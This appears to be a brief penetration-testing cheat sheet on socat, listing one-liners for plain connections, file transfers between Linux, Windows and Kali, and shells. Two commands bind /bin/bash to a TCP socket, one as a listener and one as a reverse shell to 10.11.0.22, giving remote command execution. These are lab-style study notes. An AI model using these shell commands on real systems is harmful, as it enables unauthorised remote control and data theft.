Socat
#Normal connection Linux ←→ linux:
Listener: socat TCP4-LISTEN:1234 STDOUT
Connection: socat STDIN TCP4:10.10.10.10:1234
#Reverse shell (Linux ←→ linux)
Listening IP 10.10.10.10
socat TCP4-LISTEN:1234 EXEC:/bin/bash
Connecting
socat STDIN TCP4:10.10.10.10:1234
ls Desktop Downloads…..
#File Tansfers Linux -->Linux
Sender
socat FILE:./file.txt TCP4-LISTEN:1234
Receiver
socat – TCP4:10.10.10.10:1234 > file2.txt
(important to rename file differently)
#File transfers Linux → Windows
Linux (IP 10.10.10.10 port 443)
socat TCP4-LISTEN:443, fork file:file.txt
Windows
socat TCP4:10.10.10.10:443 file:file2.txt,create
(important to rename incoming file)
OR:
Kali: sudo socat TCP4-LISTEN:443,fork file:file.txt
Linux : socat TCP4:127.0.0.1:443 file:file2.txt,create
#Socat Reverse shell (Windows to kali, Execute commands from Win ---> kali)
Windows : (Windows client IP 10.11.0.22)
socat -d -d TCP4-LISTEN:443 STDOUT
Kali socat TCP4:10.11.0.22:443 EXEC:/bin/bash
Once executed Windows machine can run commands on Kali
Last updated